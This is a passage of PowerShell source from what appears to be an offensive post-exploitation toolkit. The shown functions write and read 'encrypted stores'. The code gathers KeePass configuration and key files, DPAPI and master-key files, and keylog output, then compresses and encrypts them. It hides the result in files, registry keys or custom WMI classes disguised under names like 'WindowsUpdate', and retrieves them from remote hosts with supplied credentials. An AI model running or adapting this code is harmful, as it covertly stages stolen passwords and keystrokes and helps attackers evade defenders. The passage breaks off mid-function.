797 | ForEach($InputData in $Data) {
798 |
799 | # handle output from Get-KeePassConfig.ps1
800 | if($InputData.PSObject.TypeNames -contains 'KeePass.Config') {
801 |
802 | # extarct all KeePass files from the Find-KeePassConfig output object
803 | $KeePassFiles = @()
804 | $KeePassFiles += $InputData.KeePassConfigPath
805 | $KeePassFiles += $InputData.LastUsedFile
806 | $KeePassFiles += $InputData.DefaultKeyFilePath
807 | $KeePassFiles += $InputData.DefaultDatabasePath
808 | $KeePassFiles += $InputData.RecentlyUsed
809 |
810 | if($InputData.DefaultUserAccountData) {
811 | $KeePassFiles += $InputData.DefaultUserAccountData.UserKeePassDPAPIBlob
812 | $InputData.DefaultUserAccountData.UserMasterKeyFiles | ForEach-Object {
813 | $KeePassFiles += $_
814 | }
815 | }
816 |
817 | $KeePassFiles = $KeePassFiles | Where-Object {$_} | ForEach-Object {
818 | if($_ -is [System.IO.FileSystemInfo]) {
819 | $_ | Select-Object -ExpandProperty Path
820 | }
821 | elseif($_ -is [System.Management.Automation.PathInfo]) {
822 | $_ | Select-Object -ExpandProperty Path
823 | }
824 | elseif($_ -is [String]) {
825 | $_
826 | }
827 | else {
828 | Write-Warning "Invalid path type for $_ : $($_.GetType())"
829 | }
830 | } | Where-Object {$_.Trim() -ne ''} | Sort-Object -Unique
831 |
832 | $KeePassFiles | ForEach-Object {
833 | $FilePath = $_
834 | Write-Verbose "Encrypting file : $FilePath"
835 |
836 | $FilePathPadded = $FilePath.PadRight(260)
837 | $FilePathPaddedBytes = $Encoding.GetBytes($FilePathPadded)
838 | [Byte[]]$FileBytes = [System.IO.File]::ReadAllBytes($FilePath)
839 |
840 | $EncDataBytes = Out-StoreEncryptedByte -FullPathBytes $FilePathPaddedBytes -DataBytes $FileBytes -EncryptionKey $EncryptionKey -EncryptionType $EncryptionType
841 |
842 | if($Base64Encode) {
843 | $AllEncryptedBytes += $EncDataBytes
844 | }
845 | else {
846 | $EncDataBytes
847 | }
848 | }
849 |
850 | # save off the custom object
851 | $FullPath = "data\KeePassConfig_$(Get-Date -format M.d.yyyy_H.m.s).txt".PadRight(260)
852 | $FullPathBytes = $Encoding.GetBytes($FullPath)
853 |
854 | [Byte[]]$DataBytes = $Encoding.GetBytes( $($InputData | Format-List | Out-String) )
855 |
856 | $EncDataBytes = Out-StoreEncryptedByte -FullPathBytes $FullPathBytes -DataBytes $DataBytes -EncryptionKey $EncryptionKey -EncryptionType $EncryptionType
857 |
858 | if($Base64Encode) {
859 | $AllEncryptedBytes += $EncDataBytes
860 | }
861 | else {
862 | $EncDataBytes
863 | }
864 | }
865 |
866 | elseif($InputData.PSObject.TypeNames -contains 'KeePass.Keys') {
867 | $FullPath = "data\KeePassKeys_$(Get-Date -format M.d.yyyy_H.m.s).txt".PadRight(260)
868 | $FullPathBytes = $Encoding.GetBytes($FullPath)
869 |
870 | [Byte[]]$DataBytes = $Encoding.GetBytes( $($InputData | Format-List | Out-String) )
871 |
872 | $EncDataBytes = Out-StoreEncryptedByte -FullPathBytes $FullPathBytes -DataBytes $DataBytes -EncryptionKey $EncryptionKey -EncryptionType $EncryptionType
873 |
874 | if($Base64Encode) {
875 | $AllEncryptedBytes += $EncDataBytes
876 | }
877 | else {
878 | $EncDataBytes
879 | }
880 | }
881 |
882 | elseif((-not $DataTag) -or (Test-Path -Path $InputData -ErrorAction SilentlyContinue)) {
883 | # if the passed data is a file name, pad the path to the max Windows path length (260)
884 |
885 | try {
886 | $ResolvedPath = $(Resolve-Path -Path $InputData -ErrorAction Stop | Select-Object -Expand Path)
887 | $FullPath = $ResolvedPath.PadRight(260)
888 | $FullPathBytes = $Encoding.GetBytes($FullPath)
889 |
890 | [Byte[]]$DataBytes = [System.IO.File]::ReadAllBytes($ResolvedPath)
891 |
892 | $EncDataBytes = Out-StoreEncryptedByte -FullPathBytes $FullPathBytes -DataBytes $DataBytes -EncryptionKey $EncryptionKey -EncryptionType $EncryptionType
893 |
894 | if($Base64Encode) {
895 | $AllEncryptedBytes += $EncDataBytes
896 | }
897 | else {
898 | $EncDataBytes
899 | }
900 | }
901 | catch {
902 | Write-Error "Error in resolving input path and reading file: $_"
903 | }
904 | }
905 | else {
906 | # if the passed data isn't a file (i.e. keylog data) use a timestamped/tagged file for later extraction
907 | $FullPath = "data\$($DataTag)$(Get-Date -format M.d.yyyy_H.m.s).txt".PadRight(260)
908 | $FullPathBytes = $Encoding.GetBytes($FullPath)
909 |
910 | [Byte[]]$DataBytes = $Encoding.GetBytes($InputData)
911 |
912 | $EncDataBytes = Out-StoreEncryptedByte -FullPathBytes $FullPathBytes -DataBytes $DataBytes -EncryptionKey $EncryptionKey -EncryptionType $EncryptionType
913 |
914 | if($Base64Encode) {
915 | $AllEncryptedBytes += $EncDataBytes
916 | }
917 | else {
918 | $EncDataBytes
919 | }
920 | }
921 | }
922 | }
923 |
924 | END {
925 | if($AllEncryptedBytes) {
926 | [System.Convert]::ToBase64String($AllEncryptedBytes)
927 | }
928 | }
929 | }
930 |
931 |
932 | function Read-EncryptedStore {
933 | <#
934 | .SYNOPSIS
935 |
936 | Reads an EncryptedStore from a file on disk, registry location, or custom WMI class,
937 | and lists (-List) or decrypts the a -OutputPath folder (default of .\output\).
938 |
939 | Author: @harmj0y
940 | License: BSD 3-Clause
941 | Required Dependencies: None
942 | Optional Dependencies: None
943 |
944 | .DESCRIPTION
945 |
946 | Takes a given encrypted store specified by $StorePath and extracts,
947 | decrypts, and decompresses all files/data contained within it. Extracted
948 | files are written out to a created nested folder structure mirroring
949 | the file's original path.
950 |
951 | Store structure:
952 |
953 | [4 bytes representing size of next block to decrypt]
954 | [0] (indicating straight AES)
955 | [16 byte IV]
956 | [AES-CBC encrypted file block]
957 | [compressed stream]
958 | [260 characters/bytes indicating original path]
959 | [file contents]
960 | ...
961 |
962 | [4 bytes representing size of next block to decrypt]
963 | [1] (indicating RSA+AES)
964 | [128 bytes random AES key encrypted with the the RSA public key]
965 | [16 byte IV]
966 | [AES-CBC encrypted file block]
967 | [compressed stream]
968 | [260 characters/bytes indicating original path]
969 | [file contents]
970 | ...
971 |
972 | To decrypt ENCSTORE.bin:
973 |
974 | While there is more data to decrypt:
975 |
976 | -Read first 4 Bytes of ENCSTORE.bin and calculate length value X
977 | -Read next size X Bytes of encrypted file
978 | -Read first byte of encrypted block to determine encryption scheme
979 | - 0 == straight AES
980 | - 1 == RSA + AES where random AES key encrypted with RSA pub key
981 | -If RSA+AES is used, read the next 128 bytes of the RSA encrypted AES key and decrypt using the RSA private key
982 | -Read next 16 Bytes of encrypted block and extract IV
983 | -Read remaining block and decrypt AES-CBC compressed stream using key and extracted IV
984 | -Decompress [PATH + file] using IO.Compression.DeflateStream
985 | -Split path by \ and create nested folder structure to mirror original path
986 | -Write original file to mirrored path
987 |
988 | .PARAMETER StorePath
989 |
990 | The path of the encrypted store to read file data from. Can be on the filesystem ("${Env:Temp}\debug.bin"),
991 | registry (HKLM:\SOFTWARE\something\something\key\valuename), or WMI (ROOT\Software\namespace:ClassName).
992 |
993 | .PARAMETER Key
994 |
995 | The key used to encrypt data for the store. A 32 character string is interpretered as an AES key,
996 | a string of the form
997 | ^.*.*.*
.*
.*.*.*.*$
998 | is interpreted as an RSA public key, and anything else is fed into a MD5 hash function to produce a
999 | 32 character password for AES encryption.
1000 |
1001 | .PARAMETER SecureKey
1002 |
1003 | A [System.Security.SecureString] used for the encryption key, following the same parsing logic from
1004 | the key parameter description above.
1005 |
1006 | .PARAMETER OutputPath
1007 |
1008 | The folder to output any decrypted data to, defaults to .\output\
1009 |
1010 | .PARAMETER List
1011 |
1012 | List filenames and file sizes of the encrypted store.
1013 |
1014 | .PARAMETER ComputerName
1015 |
1016 | Access the -StorePath on the specified computers. The default is the local computer.
1017 |
1018 | Type the NetBIOS name, an IP address, or a fully qualified domain
1019 | name of one or more computers. To specify the local computer, type
1020 | the computer name, a dot (.), or "localhost".
1021 |
1022 | This parameter does not rely on Windows PowerShell remoting. You can
1023 | use the ComputerName parameter even if your computer is not
1024 | configured to run remote commands.
1025 |
1026 | .PARAMETER Credential
1027 |
1028 | Specifies a user account that has permission to perform this action.
1029 |
1030 | The default is the current user. Type a user name, such as "User01",
1031 | "Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
1032 | object, such as an object that is returned by the Get-Credential
1033 | cmdlet. When you type a user name, you will be prompted for a
1034 | password.
1035 |
1036 | .PARAMETER Impersonation
1037 |
1038 | Specifies the impersonation level to use. Valid values are:
1039 |
1040 | 0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
1041 | 1: Anonymous (Hides the credentials of the caller.)
1042 | 2: Identify (Allows objects to query the credentials of the caller.)
1043 | 3: Impersonate (Allows objects to use the credentials of the caller.)
1044 | 4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
1045 |
1046 | .PARAMETER Authentication
1047 |
1048 | Specifies the authentication level to be used with the WMI connection. Valid values are:
1049 |
1050 | -1: Unchanged
1051 | 0: Default
1052 | 1: None (No authentication in performed.)
1053 | 2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
1054 | 3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
1055 | 4: Packet (Authentication is performed on all the data that is received from the client.)
1056 | 5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
1057 | 6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
1058 |
1059 | .PARAMETER EnableAllPrivileges
1060 |
1061 | Enables all the privileges of the current user before the command
1062 | makes the WMI call.
1063 |
1064 | .PARAMETER Authority
1065 |
1066 | Specifies the authority to use to authenticate the WMI connection.
1067 | You can specify standard NTLM or Kerberos authentication. To use
1068 | NTLM, set the authority setting to ntlmdomain:, where
1069 | identifies a valid NTLM domain name. To use Kerberos,
1070 | specify kerberos:. You cannot include the
1071 | authority setting when you connect to the local computer.
1072 |
1073 | .EXAMPLE
1074 |
1075 | PS C:\> Read-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!'
1076 | File data written to C:\Temp\C\Temp\secret.txt
1077 | File data written to C:\Temp\C\Temp\secret2.txt
1078 | File data written to C:\Temp\data\keylog_3.24.2016_11.9.36
1079 |
1080 | Extracts, decrypts, and decompresses all files stored within the C:\Temp\debug.bin
1081 | encrypted store, writing the files out to a mirrored folder structure of
1082 | their orignal paths.
1083 |
1084 | .EXAMPLE
1085 |
1086 | PS C:\> $Key = New-RSAKeyPair
1087 | PS C:\> $StorePath = "HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCertificate"
1088 | PS C:\> ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key $Key.Pub
1089 | PS C:\> Read-EncryptedStore -StorePath $StorePath -Key $Key.Priv -List
1090 |
1091 | Generates a new RSA public/private key pair with New-RSAKeyPair, uses the public
1092 | key to encrypt a file from disk, and stores the result in the specified registry location.
1093 | The call to Read-EncryptedStore extracts the stored data using the private key and
1094 | displays the files in the container.
1095 |
1096 | .EXAMPLE
1097 |
1098 | PS C:\> $StorePath = "ROOT\Software:WindowsUpdate"
1099 | PS C:\> $SecurePassword = 'Password12345' | ConvertTo-SecureString -AsPlainText -Force
1100 | PS C:\> ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -SecureKey $SecurePassword -Verbose
1101 | VERBOSE: EncryptionKey not 32 Bytes, using MD5 of key specified as the AESencryption key.
1102 | VERBOSE: RawDataStore length: 613
1103 | VERBOSE: Creating namespace 'ROOT\Software'
1104 | VERBOSE: Creating class 'WindowsUpdate' in namespace 'ROOT\Software'
1105 | VERBOSE: Setting 'Content' value of ROOT\Software:WindowsUpdate
1106 | PS C:\Users\harmj0y\Desktop> Read-EncryptedStore -StorePath $StorePath -SecureKey $SecurePassword -List
1107 |
1108 | Path FileSize
1109 | ---- --------
1110 | C:\Users\harmj0y\Desktop\secret.txt 446
1111 |
1112 |
1113 | Stores a password in a secure string, and uses this to encrypt the specified document. The store is
1114 | then written to a custom WMI class, which is first created as it doesn't exist. The same secured string
1115 | is then used to read the data from the store.
1116 |
1117 | .EXAMPLE
1118 |
1119 | PS C:\> $ComputerName = 'PRIMARY.testlab.local'
1120 | PS C:\> $Credential = Get-Credential 'TESTLAB\administrator'
1121 | PS C:\> $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert'
1122 | PS C:\> ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!'
1123 | PS C:\> Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' -List
1124 |
1125 | Take the local "secret.txt" file, compress/encrypt it, store it in the specified registry
1126 | key on the remote system using the specified credentials, then read the encrypted store and list
1127 | the files within in.
1128 | #>
1129 |
1130 | [CmdletBinding(DefaultParameterSetName = 'Key')]
1131 | param(
1132 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
1133 | [Alias('Path')]
1134 | [ValidatePattern('.*\\.*')]
1135 | [String[]]
1136 | $StorePath,
1137 |
1138 | [Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'Key')]
1139 | [ValidateNotNullOrEmpty()]
1140 | [String]
1141 | $Key,
1142 |
1143 | [Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'SecureKey')]
1144 | [ValidateNotNullOrEmpty()]
1145 | [System.Security.SecureString]
1146 | $SecureKey,
1147 |
1148 | [Parameter(Position = 2)]
1149 | [ValidateScript({Test-Path -Path $_ })]
1150 | [String]
1151 | $OutputPath = '.\output\',
1152 |
1153 | [Parameter(Position = 3)]
1154 | [Switch]
1155 | $List,
1156 |
1157 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1158 | [Alias('Cn')]
1159 | [String[]]
1160 | [ValidateNotNullOrEmpty()]
1161 | $ComputerName = 'localhost',
1162 |
1163 | [Management.Automation.PSCredential]
1164 | [Management.Automation.CredentialAttribute()]
1165 | $Credential = [Management.Automation.PSCredential]::Empty,
1166 |
1167 | [Management.ImpersonationLevel]
1168 | $Impersonation,
1169 |
1170 | [System.Management.AuthenticationLevel]
1171 | $Authentication,
1172 |
1173 | [Switch]
1174 | $EnableAllPrivileges,
1175 |
1176 | [String]
1177 | $Authority
1178 | )
1179 |
1180 | BEGIN {
1181 | $Encoding = [System.Text.Encoding]::ASCII
1182 | $WmiMethodArgs = @{}
1183 |
1184 | if ($PSBoundParameters['SecureKey']) {
1185 | $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureKey)
1186 | $EncryptionKey = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
1187 | }
1188 | else {
1189 | $EncryptionKey = $Key
1190 | }
1191 | Write-Verbose "EncryptionKey: $EncryptionKey"
1192 |
1193 | if($EncryptionKey -match '^.*.*.*
.*
.*.*.*.*$') {
1194 | Write-Verbose "Using RSA private key for decryption."
1195 | $EncryptionType = 'RSA'
1196 | }
1197 | elseif($EncryptionKey.Length -eq 32) {
1198 | Write-Verbose "Using 32 byte AES key for decryption."
1199 | $EncryptionType = 'AES'
1200 | }
1201 | else {
1202 | Write-Verbose "EncryptionKey not 32 Bytes, using MD5 of key specified as the AES decryption key."
1203 |
1204 | # transform the encryption key to a MD5 hash if the key is not 32 Bytes
1205 | $StringBuilder = New-Object System.Text.StringBuilder
1206 | [System.Security.Cryptography.HashAlgorithm]::Create('MD5').ComputeHash($Encoding.GetBytes($EncryptionKey)) | ForEach-Object { [Void]$StringBuilder.Append($_.ToString("x2")) }
1207 | $EncryptionKey = $StringBuilder.ToString()
1208 | $EncryptionType = 'AES'
1209 | }
1210 |
1211 | # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
1212 | if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
1213 | if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
1214 | if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
1215 | if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
1216 | if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
1217 | }
1218 |
1219 | PROCESS {
1220 |
1221 | ForEach($Computer in $ComputerName) {
1222 |
1223 | ForEach($Store in $StorePath) {
1224 |
1225 | $WmiMethodArgs['ComputerName'] = $Computer
1226 |
1227 | # retrieve the data for the specified encrypted store
1228 | $EncryptedStoreObject = Get-EncryptedStoreData -StorePath $Store @WmiMethodArgs
1229 |
1230 | $EncStoreData = $EncryptedStoreObject.EncStoreData
1231 | $EncStoreLength = $EncryptedStoreObject.EncStoreLength
1232 | $Offset = 0
1233 |
1234 | # iterate over the encrypted store data, extracting all blocks
1235 | While($Offset -lt $EncStoreLength) {
1236 | try {
1237 | # first extract out the block length
1238 | $BlockLengthBytes = New-Object Byte[] 4
1239 | $BlockLengthBytes = $EncStoreData[$Offset..($Offset + 3)]
1240 | $BlockLength = [BitConverter]::ToInt32($BlockLengthBytes, 0)
1241 |
1242 | # read in the 1 byte indicating encryption type
1243 | $BlockEncryptionType = New-Object Byte[] 1
1244 | $BlockEncryptionType = $EncStoreData[$Offset + 4]
1245 |
1246 | # read in the bytes for the next block
1247 | $BlockBytes = New-Object Byte[] $BlockLength
1248 | $BlockBytes = $EncStoreData[($Offset + 5)..($Offset + 4 + $BlockLength)]
1249 |
1250 | if ($BlockLength) {
1251 | $Offset += ($BlockLength + 5)
1252 |
1253 | if(($EncryptionType -eq 'AES') -and ($BlockEncryptionType -ne 0)) {
1254 | Write-Warning "[$Computer] Block at offset $Offset uses RSA encryption but AES key supplied, skipping."
1255 | continue
1256 | }
1257 | elseif(($EncryptionType -eq 'RSA') -and ($BlockEncryptionType -ne 1)) {
1258 | Write-Warning "[$Computer] Block at offset $Offset uses AES encryption but RSA key supplied, skipping."
1259 | continue
1260 | }
1261 |
1262 | $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider
1263 | $AES.Mode = 'CBC'
1264 |
1265 | if($BlockEncryptionType -eq 1) {
1266 |
1267 | # random AES key encrypted with RSA pair
1268 | $CSP = New-Object System.Security.Cryptography.CspParameters
1269 | $CSP.Flags = $CSP.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore
1270 | $RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList @(1024,$CSP)
1271 |
1272 | $RSA.FromXmlString($EncryptionKey)
1273 |
1274 | # use private key to decrypt the randomized AES key encrypted using the RSA public key
1275 | $AESKeyBytes = $RSA.Decrypt($BlockBytes[0..127] , $False)
1276 | $AES.Key = $AESKeyBytes
1277 | $AES.IV = $BlockBytes[128..143]
1278 | $BlockOffset = 144
1279 | }
1280 | else {
1281 | # straight AES
1282 | $AES.Key = $Encoding.GetBytes($EncryptionKey)
1283 | $AES.IV = $BlockBytes[0..15]
1284 | $BlockOffset = 16
1285 | }
1286 |
1287 | # decrypt the next chunk
1288 | $DecBytes = $AES.CreateDecryptor().TransformFinalBlock($BlockBytes[$BlockOffset..$BlockBytes.Length],0,$BlockBytes.Length-$BlockOffset)
1289 |
1290 | # decompress PATH/tag + file
1291 | $MemoryStream = New-Object System.IO.MemoryStream
1292 | $MemoryStream.Write($DecBytes, 0, $DecBytes.Length)
1293 | $Null = $MemoryStream.Seek(0,0)
1294 |
1295 | $CompressionStream = New-Object System.IO.Compression.DeflateStream($MemoryStream, [System.IO.Compression.CompressionMode]::Decompress)
1296 | $StreamReader = New-Object System.IO.StreamReader($CompressionStream)
1297 | $ChunkRaw = $StreamReader.ReadToEnd()
1298 |
1299 | $Path = $Encoding.GetString($ChunkRaw[0..259]).trim()
1300 | $FileData = $ChunkRaw[260..$($ChunkRaw.Length)]
1301 |
1302 | if($PSBoundParameters['List']) {
1303 | # if we're just listing contents
1304 | $Properties = @{
1305 | 'Path' = $Path
1306 | 'FileSize' = $FileData.Length
1307 | }
1308 | New-Object -TypeName PSObject -Property $Properties
1309 | }
1310 | else {
1311 | # recursively create the captured path
1312 | $Path = $Path.Replace(':', '_')
1313 | $Path = $Path.TrimStart('\')
1314 | $Parts = $Path.Split('\')
1315 |
1316 | if($Parts.Length -gt 1) {
1317 | $DirectoryPath = "$OutputPath\$($Parts[0..$($Parts.Length-2)] -join '\')"
1318 |
1319 | $FileName = $Parts[-1]
1320 |
1321 | $Null = New-Item -ItemType Directory -Path "$DirectoryPath" -Force -ErrorAction SilentlyContinue
1322 |
1323 | $DirectoryPath = Resolve-Path -Path $DirectoryPath
1324 |
1325 | # if the file name already exists, iterate a counter until we have a unique name
1326 | if(Test-Path -Path "$DirectoryPath\$FileName") {
1327 | $Counter = 1
1328 |
1329 | $NewFileName = [System.IO.Path]::GetFileNameWithoutExtension($FileName)
1330 | $FileExt = [System.IO.Path]::GetExtension($FileName)
1331 |
1332 | While (Test-Path -Path "$DirectoryPath\$($NewFileName + ' ' + $Counter + $FileExt)") {
1333 | $Counter += 1
1334 | }
1335 |
1336 | $FileName = $NewFileName + ' ' + $Counter + $FileExt
1337 | }
1338 | [System.IO.File]::WriteAllBytes("$DirectoryPath\$FileName", $FileData)
1339 | Write-Output "File data written to $DirectoryPath\$FileName"
1340 | }
1341 | else {
1342 | # if the file name already exists, iterate a counter until we have a unique name
1343 | if(Test-Path -Path $Path) {
1344 | $Counter = 1
1345 |
1346 | $NewFileName = [System.IO.Path]::GetFileNameWithoutExtension($Path)
1347 | $FileExt = [System.IO.Path]::GetExtension($Path)
1348 |
1349 | While (Test-Path -Path "$($NewFileName + ' ' + $Counter + $FileExt)") {
1350 | $Counter += 1
1351 | }
1352 |
1353 | $Path = $NewFileName + ' ' + $Counter + $FileExt
1354 | }
1355 |
1356 | # if the output is timestamped/tagged
1357 | [System.IO.File]::WriteAllBytes($Path, $FileData)
1358 | Write-Output "File data written to $Path"
1359 | }
1360 | }
1361 | }
1362 | }
1363 | catch {
1364 | Write-Error "Error in decryption : $_"
1365 | }
1366 | }
1367 | }
1368 | }
1369 | }
1370 | }
1371 |
1372 |
1373 | function Get-EncryptedStoreData {
1374 | <#
1375 | .SYNOPSIS
1376 |
1377 | Helper that extracts the data from an encrypted store and outputs a custom
1378 | object to the pipeline.
1379 |
1380 | Author: @harmj0y
1381 | License: BSD 3-Clause
1382 | Required Dependencies: None
1383 | Optional Dependencies: None
1384 |
1385 | .PARAMETER StorePath
1386 |
1387 | The path of the encrypted store to read file data from. Can be on the filesystem ("${Env:Temp}\debug.bin"),
1388 | registry (HKLM:\SOFTWARE\something\something\key\valuename), or WMI (ROOT\Software\namespace:ClassName).
1389 |
1390 | .PARAMETER ComputerName
1391 |
1392 | Access the -StorePath on the specified computers. The default is the local computer.
1393 |
1394 | Type the NetBIOS name, an IP address, or a fully qualified domain
1395 | name of one or more computers. To specify the local computer, type
1396 | the computer name, a dot (.), or "localhost".
1397 |
1398 | This parameter does not rely on Windows PowerShell remoting. You can
1399 | use the ComputerName parameter even if your computer is not
1400 | configured to run remote commands.
1401 |
1402 | .PARAMETER Credential
1403 |
1404 | Specifies a user account that has permission to perform this action.
1405 |
1406 | The default is the current user. Type a user name, such as "User01",
1407 | "Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
1408 | object, such as an object that is returned by the Get-Credential
1409 | cmdlet. When you type a user name, you will be prompted for a
1410 | password.
1411 |
1412 | .PARAMETER Impersonation
1413 |
1414 | Specifies the impersonation level to use. Valid values are:
1415 |
1416 | 0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
1417 | 1: Anonymous (Hides the credentials of the caller.)
1418 | 2: Identify (Allows objects to query the credentials of the caller.)
1419 | 3: Impersonate (Allows objects to use the credentials of the caller.)
1420 | 4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
1421 |
1422 | .PARAMETER Authentication
1423 |
1424 | Specifies the authentication level to be used with the WMI connection. Valid values are:
1425 |
1426 | -1: Unchanged
1427 | 0: Default
1428 | 1: None (No authentication in performed.)
1429 | 2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
1430 | 3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
1431 | 4: Packet (Authentication is performed on all the data that is received from the client.)
1432 | 5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
1433 | 6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
1434 |
1435 | .PARAMETER EnableAllPrivileges
1436 |
1437 | Enables all the privileges of the current user before the command
1438 | makes the WMI call.
1439 |
1440 | .PARAMETER Authority
1441 |
1442 | Specifies the authority to use to authenticate the WMI connection.
1443 | You can specify standard NTLM or Kerberos authentication. To use
1444 | NTLM, set the authority setting to ntlmdomain:, where
1445 | identifies a valid NTLM domain name. To use Kerberos,
1446 | specify kerberos:. You cannot include the
1447 | authority setting when you connect to the local computer.
1448 |
1449 | .EXAMPLE
1450 |
1451 | PS C:\> $StorePath = "ROOT\Software:WindowsUpdate"
1452 | PS C:\> Get-EncryptedStoreData -StorePath $StorePath
1453 |
1454 | Retrieve the raw encrypted store data in the WMI class specified from the localhost.
1455 |
1456 | .EXAMPLE
1457 |
1458 | PS C:\> $ComputerName = 'PRIMARY.testlab.local'
1459 | PS C:\> $Credential = Get-Credential 'TESTLAB\administrator'
1460 | PS C:\> $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert'
1461 | PS C:\> Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath
1462 |
1463 | Retrive the raw encrypted store data in the registry key specified on the remote
1464 | 'PRIMARY.testlab.local' machine using the specified credentials.
1465 | #>
1466 |
1467 | [CmdletBinding()]
1468 | param(
1469 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
1470 | [Alias('Path')]
1471 | [ValidatePattern('.*\\.*')]
1472 | [String[]]
1473 | $StorePath,
1474 |
1475 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1476 | [Alias('Cn')]
1477 | [String[]]
1478 | [ValidateNotNullOrEmpty()]
1479 | $ComputerName = 'localhost',
1480 |
1481 | [Management.Automation.PSCredential]
1482 | [Management.Automation.CredentialAttribute()]
1483 | $Credential = [Management.Automation.PSCredential]::Empty,
1484 |
1485 | [Management.ImpersonationLevel]
1486 | $Impersonation,
1487 |
1488 | [System.Management.AuthenticationLevel]
1489 | $Authentication,
1490 |
1491 | [Switch]
1492 | $EnableAllPrivileges,
1493 |
1494 | [String]
1495 | $Authority
1496 | )
1497 |
1498 | BEGIN {
1499 | # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
1500 | $WmiMethodArgs = @{}
1501 | if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
1502 | if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
1503 | if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
1504 | if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
1505 | if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
1506 | }
1507 |
1508 | PROCESS {
1509 | ForEach($Computer in $ComputerName) {
1510 |
1511 | if($Computer.ComputerName) {
1512 | $Computer = $Computer.ComputerName
1513 | }
1514 |
1515 | ForEach($Store in $StorePath) {
1516 |
1517 | Write-Verbose "[$Computer] Reading encrypted store at: '$Store'"
1518 |
1519 | if(($Store -match '^[A-Z]:\\') -or ($Store -match '^\\\\[A-Z0-9]+\\[A-Z0-9]+')) {
1520 | # file on a disk, local or remote, or \\UNC path
1521 |
1522 | if($Computer -ne 'localhost') {
1523 | # remote -ComputerName specification
1524 | $Net = New-Object -ComObject WScript.Network
1525 |
1526 | $PathParts = $Store.Replace(':', '$').Split('\')
1527 | $UNCPath = "\\$ComputerName\$($PathParts[0..($PathParts.Length-2)] -join '\')"
1528 | $FileName = $PathParts[-1]
1529 |
1530 | if($PSBoundParameters['Credential']) {
1531 | try {
1532 | # map a temporary network drive with the credentials supplied
1533 | # this is because New-PSDrive in PowerShell v2 doesn't support alternate credentials :(
1534 | Write-Verbose "[$Computer] Mapping drive Z: to '$UNCPath'"
1535 | $Net.MapNetworkDrive("Z:", $UNCPath, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
1536 | $EncStorePath = "Z:\$FileName"
1537 | }
1538 | catch {
1539 | throw "[$Computer] Error mapping path '$Store' : $_"
1540 | }
1541 | }
1542 | else {
1543 | $EncStorePath = "$UNCPath\$FileName"
1544 | }
1545 | }
1546 | else {
1547 | # plain old localhost
1548 | $EncStorePath = Resolve-Path -Path $Store
1549 | }
1550 |
1551 | try {
1552 | $EncStoreData = Get-Content -Encoding Byte -Path $EncStorePath -ErrorAction Stop
1553 | $EncStoreLength = $EncStoreData.Length
1554 | }
1555 | catch {
1556 | Write-Warning "[$Computer] Error reading from '$EncStorePath' : $_"
1557 | }
1558 |
1559 | if($Computer -ne 'localhost' -and ($PSBoundParameters['Credential'])) {
1560 | try {
1561 | Write-Verbose "[$Computer] Unmapping drive Z:\"
1562 | $Net = New-Object -ComObject WScript.Network
1563 | $Null = $Net.RemoveNetworkDrive('Z:', $True)
1564 | }
1565 | catch {
1566 | Write-Verbose "[$Computer] Error unmapping drive Z:\ : $_"
1567 | }
1568 | }
1569 | }
1570 | elseif($Store -match '^(HKCR|HKCU|HKLM|HKU|HKCC):\\') {
1571 | # registry storage
1572 |
1573 | $RegistryParts = $Store.Split('\')
1574 | $KeyName = ($RegistryParts[0..($RegistryParts.Length - 2)]) -join '\'
